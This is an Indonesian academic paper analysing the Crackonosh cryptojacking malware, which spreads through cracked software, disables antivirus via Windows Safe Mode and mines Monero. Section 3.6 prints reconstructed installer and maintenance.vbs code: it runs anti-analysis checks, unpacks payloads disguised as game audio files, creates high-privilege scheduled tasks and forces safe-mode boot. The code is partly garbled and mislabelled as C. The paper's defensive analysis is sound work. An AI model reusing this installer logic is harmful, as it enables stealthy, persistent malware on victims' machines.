Analisis Pola dan Dampak Serangan Cryptojacking dengan Menggunakan Metode Analisis Dinamis dan Analisis Statis
Mesakh Herdian Pamungkas*, Dian Widiyanto Chandra
Fakultas Teknologi Informasi, Teknik Informatika, Universitas Kristen Satya Wacana, Salatiga, Indonesia Email: 1[email protected], 2,[email protected]
Email Penulis Korespondensi: [email protected] Submitted 27-10-2022; Accepted 31-10-2022; Published 31-10-2022
Abstrak
Di era globalisasi saat ini, aktivitas sehari-hari masyarakat sangat bergantung pada teknologi. Perkembangan teknologi ini tentunya dimanfaatkan oleh banyak pihak yang berbeda. Selain memanfaatkan sisi positifnya, ada juga bagian yang memanfaatkan sisi negatifnya. Dalam hal ini seperti pengembangan perangkat lunak kriminal atau yang biasa disebut Kejahatan dunia maya. Salah satu bentuk kejahatan ini adalah cryptojacking. Cryptojacking adalah sisi gelap dari penambangan cryptocurrency dan menimbulkan ancaman bagi pengunjung situs web atau end-user. Penelitian ini dilakukan dengan 6 metode tahapan yang menghasilkan hasil bahwa Berdasarkan analisa malware secara statis dan dinamis pemasangan Crackonosh sendiri berjalan dengan cara menggantikan file penting pada sistem Windows dan menyalahgunakan Windows Safe Mode untuk merusak tatanan dan pertahanan sistem Windows.
Kata Kunci: Globalisasi; Teknologi; Cryptojacking; Metode Tahapan; Windows Safe Mode Abstract
In the current era of globalization, people's daily activities are highly dependent on technology. The development of this technology is certainly utilized by many different parties. In addition to taking advantage of the positive side, there are also parts that take advantage of the negative side. In this case it is like developing criminal software or what is commonly called cybercrime. One form of this crime is cryptojacking. Cryptojacking is the dark side of cryptocurrency mining and poses a threat to website visitors or end-users. This research was carried out with a 6-step method which resulted in the result that based on static and dynamic malware analysis, the installation of Crackonosh itself runs by replacing important files on the Windows system and abusing Windows Safe Mode to damage the order and defense of the Windows system.
Keywords: Globalization; Technology; Cryptojacking; Step Method; Windows Safe Mode
1. PENDAHULUAN
Di era globalisasi saat ini, aktivitas sehari-hari masyarakat sangat bergantung pada teknologi baik dalam bidang sosial, politik, ekonomi maupun pendidikan[1]. Dalam dunia pendidikan, teknologi digunakan dalam berbagai hal, seperti penggunaan e-book, e-learning, website dan lain-lain. Perkembangan teknologi ini tentunya dimanfaatkan oleh banyak pihak yang berbeda. Selain memanfaatkan sisi positifnya, ada juga bagian yang memanfaatkan sisi negatifnya[2]. Dalam hal ini seperti pengembangan perangkat lunak kriminal atau yang biasa disebut Kejahatan dunia maya. Salah satu bentuk kejahatan ini adalah cryptojacking. Cryptojacking adalah sisi gelap dari penambangan cryptocurrency dan menimbulkan ancaman bagi pengunjung situs web atau end-user. Fokus pada cryptojacking (juga dikenal sebagai malicious cryptomining dan drive-by mining), sebuah istilah yang diciptakan untuk menggunakan sumber daya komputasi end-user yang tidak diketahui[3].
Cryptojacking baru-baru ini menjadi salah satu ancaman keamanan siber yang tumbuh paling cepat. Sebuah laporan dari McAfee Labs menunjukkan bahwa aktivitas malware cryptojacking meningkat lebih dari 4000% pada tahun 2018. Statistik McAfee secara khusus merujuk pada jumlah total malware cryptojacking. Salah satu kasus yang terkena serangan crypto adalah situs web Dewan Kota Manchester dan lebih dari 4.000 situs web lain yang terinfeksi dengan kode yang mengoperasikan cryptocurrency Monero. Information Commissioner’s Office (ICO), situs web pengadilan AS, dan beberapa lembaga National Health Service (NHS) juga telah terinfeksi kode berbahaya[4]. Untuk kasus kejahatan crypto yang telah dibawa ke pengadilan, salah satunya, Unit Polisi Cyber Nasional Ukraina, telah menangkap seorang pria berusia 32 tahun yang diduga menempatkan Script serangan cryptocurrency di situs web pendidikan yang dibuatnya.
Situs ini memiliki 1,5 juta pengunjung setiap bulan. Menurut laporan polisi, malware yang dipasang di situs web ini menggunakan sumber daya pengunjung untuk menambang cryptocurrency secara ilegal[5].
Dalam beberapa penelitiannya, menunjukkan bagaimana vektor serangan cryptojacking menyerang beberapa komponen penting e-commerce (URL, HTTP, dan HTML)[6]. Studi ini juga mengevaluasi pendekatan pemodelan dengan dua skenario serangan menggunakan sistem operasi yang berbeda. Hasil pemodelan menunjukkan bahwa serangan cryptojacking bersifat lintas platform dan dapat terjadi pada sistem operasi perangkat apa pun yang mendukung browser.
Analisis lalu lintas jaringan yang dihasilkan selama serangan seperti URL, pemindaian file, hash kriptografi, dan penggunaan CPU digunakan sebagai indicator of compromise yang bertindak sebagai umpan ke dalam sistem deteksi intrusi[7]. Dalam penelitian ini membandingkan metode sistem dengan analisis statis, analisis dinamis, dan analisis ekonomi. Di luar analisis statis masih terbatas dan dapat dikelabui oleh teknik yang obfuscation kode JavaScript. Dalam sebuah studi yang dilakukan dengan analisis dinamis penggunaan kode JavaScript, cryptojacking mempengaruhi sumber daya host, CPU dan baterai, dan kemudian dianalisis karakteristik cryptojacking dalam penggunaan sumber daya[8].
Sesuai pemaparan yang ada, maka yang menjadi rumusan masalah dalam penelitian ini adalah bagaimana mencari pola dan dampak dari Cryptojacking dengan menggunakan metode Analisis Dinamis dan Analisis Statis[9].
2. METODOLOGI PENELITIAN
Tahapan penelitian ini ada 6 tahapan, yakni, Tahap pertama mengidentifikasi dan merumuskan masalah dari judul terhadap permasalahan yang ada terkait dengan proses Analisis cyberjacking menggunakan metode Analisis Dinamis dan Analisis Statis[2], [10]–[14]; Tahap kedua menyusun kerangka teori yang merupakan rencana dari penelitian secara keseluruhan; Tahap ketiga melakukan kajian pustaka terutama terhadap penelitian sebelumnya; Tahap keempat Setting up Virtual Machine yang digunakan sebagai Virtual Lab[1], [15]; Tahap kelima melakukan pengujian sistem operasi yaitu dengan menggunakan Flare OS dengan menjalankan malware yang berbeda dan apakah dapat berjalan dengan baik atau tidak[16]; Tahap keenam melakukan Analisis proses pengujian Malware[10]; Tahap terakhir yang dilakukan adalah dokumentasi dan menyusun laporan dari hasil rancangan yang telah dilakukan.
3. HASIL DAN PEMBAHASAN
Hasil dari penelitian ini adalah Analisis dampak dan pola dari Malware Cryptojacking malware yang digunakan adalah Crackonosh kenapa bisa disebut sebagai Crackonosh karena malware tersebut didistribusikan bersama dengan Salinan illegal dari perangkat lunak popular dan mencari dan menonaktifkan banyak program antivirus populer, sebagian program anti deteksi malware, dan anti-forensik. Malware tersebut akan diimplementasikan pada Laptop dengan menggunakan Sistem Operasi Windows 10 dan FlareOs v3 sebagai wadah untuk analisa malware. Proses infeksi atau pemasangan Crackonosh ini ditunjukkan pada gambar 1.
3.1 Proses Pemasangan Crackonosh
User mendapatkan software perangkat lunak dengan lisensi illegal atau biasa disebut Cracked Software dan menjalankan program tersebut. Pada tahap pemasangan software akan menjalankan Maintenance.vbs, Maintenance.vbs tersebut menjalankan pemasangan menggunakan serviceinstaller.msi, serviceinstaller.msi menjalankan registry agar bisa menjalankan serviceinstaller.exe yaitu program utama yang digunakan untuk mengeksekusi perangkat user. Lalu Serviceintaller.exe akan meluncurkan StartupCheckLibrary.dll yang nantinya StartupCheckLibrary.dll digunakan untuk mengunduh dan menjalankan wksprtcli.dll, wksprtcli.dll meluncurkan file exe baru yang bernama winlogui.exe dan meluncurkan winscomrssrv.dll dan winrmsrv.exe yang mana membawa decrypts dan menempatkannya dalam folder tertentu.
Dari pemasangan Crackonosh bisa diidentifikasi bahwa malware tersebut membawa 30 versi berbeda file serviceinstaller.exe yang setiap serviceinstaller.exe membawa file malware yang digunakan. Hal tersebut mudah diketahui karena serviceinstaller.exe dimulai dari registry key yang dibuat oleh Maintenance.vbs.
Satu – satunya petunjuk yang ada sebelum Maintenance.vbs menciptakan registry key dan bagaimana file ini dapat muncul di perangkat user adalah dengan cara menghapuskan InsatllWinSAT pada Maintenance.vbs log pencopotan ketika mencoba untuk mencopot pemasangan malware Crackonosh. Bisa di lihat pada gambar 2.
Gambar 2. Unistallation log ketika mencopot pemasangan Malware
Pada gambar 2 menyebutkan bahwa crackonosh berada di bawah file dengan kata sandi yang mengamankan file tersebut, yang akan terbuka dalam proses pemasangan. Inno Setup adalah program pemasangan yang digunakan pada malware ini yang mengeksekusi seluruh skrip. Apabila program pemasangan ini menemukan tanda “aman” untuk
Gambar 1. Diagram Pemasangan
menjalankan malware tersebut maka secara otomatis Inno Setup akan menjalankan pemasangan Malware Crackonosh pada %SystemRoot%\system32\ dan satu konfigurasi file pada %localappdata%\Programs\Common dan kemudian membuat sebuah tugas penjadwalan di Windows Task Scheduler yang nantinya untuk memerintah InstallWinSAT untuk menjalankan Maintenance.vbs dan StartupCheckLibrary untuk memulai StartupcheckLibrary.vbs dan apabila hal tersebut tidak berjalan maka malware tersebut tidak akan dapat menginfeksi perangkat user.
Skrip tersebut dapat mendeteksi bahwa berapa jumlah core pada prosessor pada sistem, dan dapat mendeteksi program dari apakah terdapat register dari program tersebut file yang ada di dalam sistem tersebut dan program yang berjalan di background sistem tersebut. Contoh program tersebut adalah jika dipasangkan pada Virtual Machine, Sysinternals (Process Explorer), Wireshark, antivirus Emsisoft, antivirus Malwarebytes. Crackonosh menggunakan beberapa tindakan spesifik untuk menghindari keamanan dan analisa aplikasi. Tindakan – tindakan spesifik yang digunakan untuk menghindari dan menonaktifkan keamanan aplikasi termasuk beberapa hal pada Tabel 1:
Tabel 1. Tindakan Tindakan Malware Untuk Menghindari Ditemukan Tindakan Dilakukan Malware
Menghentikan pembaruan Windows.
Menghapus aplikasi anti-Virus dalam mode aman.
Menggantikan keamanan windows dengan manipulasi green tick pada ikon tray.
Menggunakan Library yang tidak menggunakan DllMain ketika Library sedang digunakan sebagai eksekutor utama (dengan rundll32.exe) namun sebaliknya fungsi – fungsi lainnya yang diekspor oleh malware.
Serviceinstaller dijalankan untuk mengecheck apakah dalam mode aman.
Software pemasangan Crackonosh akan memasangkan sistem registry maintenance.vbs ke sistem agar selalu berjalan setiap sistem menyala dan maintenance.vbs membuat sebuah perhitungan berapa kali sistem mati dan menyala kembali, jika skrip sudah menghitung sistem menyala sebanyak 10 kali maka maintenance.vbs akan menjalankan serviceinstaller.msi, mematikan mode hibernate(mode tidur), dan mengatur sistem agar menjalankan safe mode (mode aman) pada saat sistem menyala pada sistem yang terinfeksi, dan secara otomatis akan menghapus maintenance.vbs dan serviceinstaller.msi.
3.2 Safe mode
Antivirus tidak akan berjalan dengan baik ketika kita Sistem Windows dalam keadaan safe mode, Crackonosh akan mengaktifkan serviceinstaller.msi untuk dengan mudah menonaktifkan dan menghapus Windows Defender dan juga menggunakan WQL (WMI Query Language) untuk membuat list semua Software antivirus yang terpasang pada perangkat user dengan query SELECT * FROM AntiVirusProduct dan apabila WQL ini mendeteksi adanya antivirus yang terpasang maka WQL menghapus antivirus dengan menjalankan perintah rd <AV directory> /s /q. perintah dimana <AV directory>
adalah nama direktori bawaan dari produk antivirus user gunakan. Tabel 1 list antivirus yang ada pada perintah WQL:
Tabel 2. Daftar Anti Virus pada Perintah WQL Anti Virus
Adaware Bitdefender Escan F-secure Kaspersky
Mcafee (Scanner only) Norton
Panda
WQL ini dapat mendeteksi beberapa nama folder yang beragam, dimana mereka terpasang dan akhirnya menghapus %PUBLIC%\Desktop\. Serviceinstaller.exe juga memasukkan file StartupCheckLibrary.dll dan winlogui.exe pada folder %SystemRoot%\System32\ yang berisi coinminer XMRig dan mendaftarkan registry pada perangkat user sebagai berikut.
Gambar 3. Pendaftaran Registry dari Serviceinstaller.exe
Pada gambar 3 pendaftaran registry dari Serviceinstaller.exe ini berguna untuk menghubungkan perangkat yang terinfeksi ke aplikasi mining setiap kali perangkat dinyalakan, mematikan Windows Defender dan Windows Update.
Pada gambar 4 adalah beberapa Registry yang dihapus oleh Malware untuk menghentikan berjalannya Windows Defender dan mematikan pembaruan otomatis. Pada tahap ini Windows Defender memasang program MSASCuiL.exe sendiri yang mana membuat ikon Windows Security Ke system tray.
Gambar 4. Perintah yang di eksekusi Serviceinstaller.exe 3.3 Malware Update
Gambar 5. Tangkapan layar Dekripsi IP address dari IDA PRO StartupCheckLibrary.dll
Crackonosh menggunakan StartupCheckLibrary.dll untuk mendownload semua pembaharuan malware yang menginfeksi perangkat user. StartupCheckLibrary.dll akan membuat list query data TXT DNS untuk domain first.universalwebsolutions.info, second.universalwebsolutions.info, getnewupdatesdownload.net, webpublicservices.org dan juga ada data TXT DNS seperti ajdbficadbbfC@@@FEpHw7Hn33. Dari tangkapan aplikasi IDA PRO dari StartupCheckLibrary.dll dapat ditemukan ip yang terenkripsi seperti gambar 6 dibawah ini.
Gambar 6. Task yang dibuat di Windows Task Scheduler dari wksprtcli.dll
Dari gambar 5 pada 6 huruf pertama bisa dikalkulasi sebagai alamat IP. Dan 5 huruf selanjutnya port yang terenkripsi dan dapat dibaca jika ditambahkan 16. Data enkripsi di atas memberikan sebuah soket dimana bisa mengunduh wksprtcli.dll. dan 8 huruf terakhir adalah versi dari malware yang diunduh. Data yang terunduh akan tervalidasi pada salah satu public key yang telah tersimpan pada file konfigurasi. Setelah terjadi adanya koneksi ke update Crackonos, malware akan menambahkan konfigurasi baru dan menginstall winrmsrv.exe dan wincomrssrv.dll. dan juga mengubah cara untuk memulai malware winlogui.exe dari registry HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run menjadi Task yang terjadwal pada saat User menghidupkan perangkat.
3.4 Analisa Pada Winrmsrv.exe
Winrmsrv.exe bertanggung jawab atas koneksi P2P dari perangkat yang terinfeksi malware Crackonosh. Winrmsrv.exe mengubah informasi pada setiap versi Crackonosh dan mampu melakukan pengunduhan akan versi terbaru dari Crackonosh. Winrmsrv.exe juga melakukan pencarian terhadap koneksi internet, apabila berhasil melakukan koneksi, Winrmsrv.exe akan menyambungkan 3 port yang berbeda sebagai berikut: pertama pada file config terdapat offset (49863) dan range (33575). Setiap port akan menghitung SHA-256 dari tanggal yang sesuai dengan unix epoch time atau pengaturan waktu pada masing masing perangkat, dan 10B dari setiap file config. Setiap port akan di set sebagai offset dan ditambahkan setiap huruf pertama dari modul SHA dengan rumus range (offset + (2B of SHA %range)). Dua port pertama digunakan sebagai penerima koneksi TCP, dan port terakhir digunakan sebagai untuk menerima koneksi UDP dari server Crackonosh.
Gambar 7. Tangkapan layar port yang dihasilkan dari IDA PRO Winrmsrv.exe
Selanjutnya winrmsrv.exe akan mulai mengirim paket UDP yang berisikan versi dan stempel waktu dari seluruh update dan waktu Crackonosh menginfeksi perangkat dari alamat IP secara acak kepada port ke 3. Paket tersebut akan dikirim dengan byte yang memiliki panjang acak dan ter enkripsi menggunakan Vigenère cipher.
Apabila winrmsrv.exe menemukan alamat IP yang telah terinfeksi oleh Crackonosh, winrmsrv.exe menyimpan alamat IP, versi dari Crackonosh dan memperbaharui sistem malware lama dengan sistem yang lebih baru. Data dari pembaharuan tersebut ditandai dengan private key. Saat perangkat menyala winrmsrv.exe akan melakukan koneksi ke semua alamat IP yang sudah tersimpan dan akan melakukan pengecekan versi Crackonosh berdasarkan koneksi alamat IP yang sudah tersimpan tersebut sebelum menggunakan alamat IP baru dari Crackonosh. Koneksi Crackonosh akan terputus secara otomatis setelah koneksi jika terjadi kejanggalan pada sistem atau koneksi tidak mengikuti protokol yang sudah di susun Crackonosh, koneksi terputus selama 4 jam, setelah atau setelah perangkat di restart. winrmsrv.exe juga memiliki fungsi tersendiri untuk menyembunyikan filenya agar tidak terdeteksi oleh user ketika di cari menggunakan software atau tool tertentu, dengan menggunakan nama file Windows seperti winlogui.exe. winrmsrv.exe juga memeriksa proses yang sedang berjalan di komputer, winrmsrv.exe dan winlogui.exe akan secara paksa mati dan hilang dan akan aktif ketika perangkat dinyalakan kembali lain waktu. Tabel 3 adalah proses yang di block oleh winrmsrv.exe.
Tabel 3. Proses yang di Block Oleh Winrmsrv.exe Proses Yang Berjalan
Dumpcap.exe fiddler.exe frst.exe frst64.exe fse2.exe mbar.exe
messageanalyzer.exe netmon.exe
networkminer.exe ollydbg.exe procdump.exe procdump64.exe procexp.exe procexp64.exe procmon.exe procmon64.exe rawshark.exe
rootkitremover.exe sdscan.exe sdwelcome.exe splunk.exe
Gambar 13. Tangkapan layar paket UDP dari Wireshark 3.5 Pesan Error
Pada perangkat yang terinfeksi malware Crackonosh akan muncul pesan error file Maintenance.vbs sebagai berikut.
Kedua error di atas adalah error yang ada pada pemasangan Crackonosh.
Gambar 8. Can not find script file
Gambar 8 Type. mismatch: ‘Clnt’, Code: 800A000D 3.6 Rekonstruksi Crackonosh menggunakan Inno Setup installer script
Rekonstruksi Crackonosh menggunakan bahasa C keseluruhan code rekonstruksi script Crackonosh adalah sebagai berikut.
Rekonstruksi Pemasangan.iss
#include <stdio.h>
#include <stdlib.h>
function time32(Arg0: ?): ? cdecl;
external '[email protected] cdecl';
procedure !MAIN();
begin
exit;
end;
function INCLUDEINSTALLER(): BOOLEAN;
var
result: Integer;
begin
result := 1;
if STRTOINT (GETENV( 'NUMBER_OF_PROCESSORS')) < 4 then result := 0;
if REGKEYEXISTS(0x80000001, 'SOFTWARE\Sysinternals') then result := 0;
if REGKEYEXISTS(0x80000002,
"SOFTWARE\WOW6432Node\Microsoft\Windows
\CurrentVersion\Uninstall\Wireshark') then result := 0;
if FILEEXISTS (EXPANDCONSTANT('{sys}\setup4.2.6.tmp')) then result := 0;
if _time32(0) < 1533304240 then result := 0;
if FILEEXISTS(EXPANDCONSTANT ('{userdesktop}\setup4.2.6. tmp')) then result := 1;
if REGKEYEXISTS(0x80000002, 'SOFTWARE\Emsisoft') then result := 0;
if REGKEYEXISTS(8x80000002,
'SYSTEM\CurrentControlSet\services\NanoServiceMain') then result := 0;
if REGKEYEXISTS(0x80000002, 'SOFTWARE\Classes\malwarebytes') then result := 0;
exit;
end;
procedure RUNINSTALL();
var
v_1: Integer;
v_2: BOOLEAN;
begin
if INCLUDEINSTALLER() <> 1 then exit;
FILECOPY (EXPANDCONSTANT('{app}\x64\audio\sfx\WEAPONS_PLAYER3.rpf'), EXPANDCONSTANT('{sys}\7z.exe'), v_2);
FILECOPY
(EXPANDCONSTANT('{app}\x64\audio\sfx\WEAPONS_PLAYER4.rpf')EXPANDCONSTANT('{sys}\
7z.exe'), v_2);
EXEC(EXPANDCONSTANT ('{sys}\7z.exe'), EXPANDCONSTANT('-ir!*.*? e -
pdplokf4wd Gplo7D -y "{app}\x64\audio\sfx\WEAPONS_PLAYER1.rpf" -o{sys}'), '', 0, 1, v_1);
EXEC(EXPANDCONSTANT ('{sys}\7z.exe'), EXPANDCONSTANT('-ir!*.*? e - pdplokf4wd0Gplo7D -y "{app}\x64\audio\sfx\WEAPONS_PLAYER2.rpf" -
o{localappdata}\Programs\Common'),'', 0, 1, v_1);
EXEC(EXPANDCONSTANT ('{sys}\SchTasks.exe'), EXPANDCONSTANT ('/Create /SCC ONLOGON /TN "Microsoft\Windows \Maintenance\InstallwinSAT" /TR Maintenance.vbs /RL HIGHEST /F'),'', 0, 1, v_1);
EXEC(EXPANDCONSTANT ('{sys}\SchTasks.exe'), EXPANDCONSTANT('/Create /SC ONLOGON /TN "Microsoft\Windows\Application Experience\StartupCheckLibrary" /TR StartupCheck.vbs /RL HIGHEST /F'),'', 0, 1, v_1);
DELETEFILE(EXPANDCONSTANT ('{sys}\7z.exe'));
DELETEFILE(EXPANDCONSTANT ('{sys}\7z.dll'));
DELETEFILE(EXPANDCONSTANT ('{app}\x64\audio\sfx\WEAPONS_PLAYER1.rpf'));
DELETEFILE(EXPANDCONSTANT ('{app}\x64\audio\sfx\WEAPONS_PLAYER2.rpf'));
DELETEFILE(EXPANDCONSTANT ('{app}\x64\audio\sfx\WEAPONS_PLAYER3.rpf'));
DELETEFILE(EXPANDCONSTANT ('{app}\x64\audio\sfx\WEAPONS_PLAYER4.rpf'));
exit;
end;
Saat pemasangan Crackonosh akan meregistrasi maintenance.vbs script ke Task Manager dan diatur agar berjalan secara otomatis ketika sistem menyala. maintenance.vbs script membuat sistem yang menangkal.
Rekonstruksi maintenance.vbs script Dim ccdat
ccdat = "updatesettings.dbf"
Dim fso, setting, cc, strArgs
strArgs = "%comspec% /C %SystemRoot%\System32\msiexec.exe /i
%SystemRoot%\System32\ServiceInstaller.msi /qn & "&
"del %SystemRoot%\System32\ServiceInstaller.msi &
%SystemRoot%\System32\bcdedit.exe /set {current} safeboot minimal & "&
"%SystemRoot%\System32\powercfg.exe /hibernate off & schtasks /Delete /TN
""Microsoft\Windows\Maintenance\InstallWinSAT"" /F"
Set fso = CreateObject("Scripting.FileSystemObject") If (fso.FileExists(ccdat)) Then
Set setting = fso.0penTextFile(ccdat, 1, 0) cc = Int(setting.ReadLine)
setting.Close
If(cc > 9) Then
oShell.Run strArgs, 0, false
Set objFSO = CreateObject("Scripting.FileSystemObject") strScript = Wscript.ScriptFullName
objFS0.DeleteFile(ccdat) objFS0.DeleteFile(strScript) WScript.Quit()
End If
Set setting = fso.CreateTextFile(ccdat, True, False) cc = cc+1
setting.Write(cc) setting.Close WScript.Quit() Else
Set setting = fso.CreateTextFile(ccdat, True, False) setting.Write("0")
setting.Close WScript.Quit() End If
4. KESIMPULAN
Berdasarkan analisa malware secara statis dan dinamis pemasangan Crackonosh sendiri berjalan dengan cara menggantikan file penting pada sistem Windows dan menyalahgunakan Windows Safe Mode untuk merusak tatanan dan pertahanan sistem Windows. Malware ini kemudian melindungi dirinya sendiri dengan cara menonaktifkan keamanan, mematikan pembaruan sistem, dan menggunakan Teknik anti analisis lain yang mencegah malware ini ditemukan yang mana membuat malware sulit dideteksi dan di hilangkan. Selama masih ada orang yang melakukan pengunduhan pada aplikasi bajakan, penyerangan seperti ini akan terus menguntukan bagi para pembajak dan pembuat malware. Nilai moral dari analisa malware ini adalah bahwa kita tidak bisa mengharapkan untuk mendapatkan sesuatu dari barang curian, ketika kita mencoba untuk mencuri aplikasi dengan mengunduh versi bajakannya, seseorang juga pastinya sedang berusaha untuk mencuri sesuatu dari kita.
REFERENCES
[1] S. H. Kok, A. Abdullah, and N. Z. Jhanjhi, “Early detection of crypto-ransomware using pre-encryption detection algorithm,” J.
King Saud Univ. - Comput. Inf. Sci., vol. 34, no. 5, pp. 1984–1999, May 2022, doi: 10.1016/j.jksuci.2020.06.012.
[2] D. Harley et al., “Big Bad Botnets,” in AVIEN Malware Defense Guide for the Enterprise, Elsevier, 2007, pp. 123–179. doi:
10.1016/b978-159749164-8.50010-5.
[3] E. Tekiner, A. Acar, A. S. Uluagac, E. Kirda, and A. A. Selcuk, “SoK: Cryptojacking malware,” in Proceedings - 2021 IEEE European Symposium on Security and Privacy, Euro S and P 2021, 2021. doi: 10.1109/EuroSP51992.2021.00019.
[4] “Crackonosh: A New Malware Distributed in Cracked Software - Avast Threat Labs.”
https://decoded.avast.io/danielbenes/crackonosh-a-new-malware-distributed-in-cracked-software/ (accessed Oct. 20, 2022).
[5] A. Sood and R. Enbody, Targeted Cyber Attacks. Elsevier, 2014. doi: 10.1016/C2013-0-14275-4.
[6] A. D. YULIANTO, “Penanganan Cryptojacking Menggunakan Pattern Matching Analysis,” 2019, Accessed: Oct. 20, 2022.
[Online]. Available: https://repository.telkomuniversity.ac.id/home/catalog/id/151961/slug/penanganan-cryptojacking- menggunakan-pattern-matching-analysis.html
[7] L. Y. Connolly and D. S. Wall, “The rise of crypto-ransomware in a changing cybercrime landscape: Taxonomising countermeasures,” Comput. Secur., vol. 87, Nov. 2019, doi: 10.1016/j.cose.2019.101568.
[8] U. Kristen Satya Wacana Salatiga, “Analisis Serangan Flame pada Ancaman Sabotase Sistem Jaringan Komputer,” 2016, Accessed: Oct. 20, 2022. [Online]. Available: https://repository.uksw.edu//handle/123456789/11313
[9] G. Gomes, L. Dias, and M. Correia, “CryingJackpot: Network Flows and Performance Counters against Cryptojacking,” in 2020 IEEE 19th International Symposium on Network Computing and Applications, NCA 2020, 2020. doi:
10.1109/NCA51143.2020.9306698.
[10] A. Yazdinejad, H. HaddadPajouh, A. Dehghantanha, R. M. Parizi, G. Srivastava, and M. Y. Chen, “Cryptocurrency malware hunting: A deep Recurrent Neural Network approach,” Appl. Soft Comput. J., vol. 96, Nov. 2020, doi:
10.1016/j.asoc.2020.106630.
[11] S. Madan, S. Sofat, and D. Bansal, “Tools and Techniques for Collection and Analysis of Internet-of-Things malware: A systematic state-of-art review,” J. King Saud Univ. - Comput. Inf. Sci., 2022, doi: 10.1016/j.jksuci.2021.12.016.
[12] H. Darabian et al., “Detecting Cryptomining Malware: a Deep Learning Approach for Static and Dynamic Analysis,” J. Grid Comput., vol. 18, no. 2, 2020, doi: 10.1007/s10723-020-09510-6.
[13] K. Dunham, Mobile Malware Attacks and Defense. Elsevier, 2009. doi: 10.1016/B978-1-59749-298-0.X0001-8.
[14] N. Widiyasono, A. P. Aldya, and R. R. Ardhian, “Analisis Pola Dan Dampak Serangan Cryptojacking Dengan Menggunakan Pendekatan Dynamic Analysis,” CESS (Journal Comput. Eng. Syst. Sci., vol. 6, no. 1, 2021, doi: 10.24114/cess.v6i1.20008.
[15] “How to Get and Set Up a Free Windows VM for Malware Analysis.” https://zeltser.com/free-malware-analysis-windows-vm/
(accessed Oct. 20, 2022).
[16] S. Balamurugan and M. Thangaraj, “Cryptojacking malware detection using the bayesian consensus clustering with large iterative multi-tier ensemble in the cryptocurrency in the cloud,” Int. J. Recent Technol. Eng., vol. 8, no. 3, 2019, doi:
10.35940/ijrte.C5159.098319.
[17] D. Ko, S.-H. Choi, S. Hwang, and Y.-H. Choi, “Cryptojacking Attack Using Pastejacking and Defense Method,” J. Korean Inst.
Commun. Inf. Sci., vol. 44, no. 8, 2019, doi: 10.7840/kics.2019.44.8.1623.
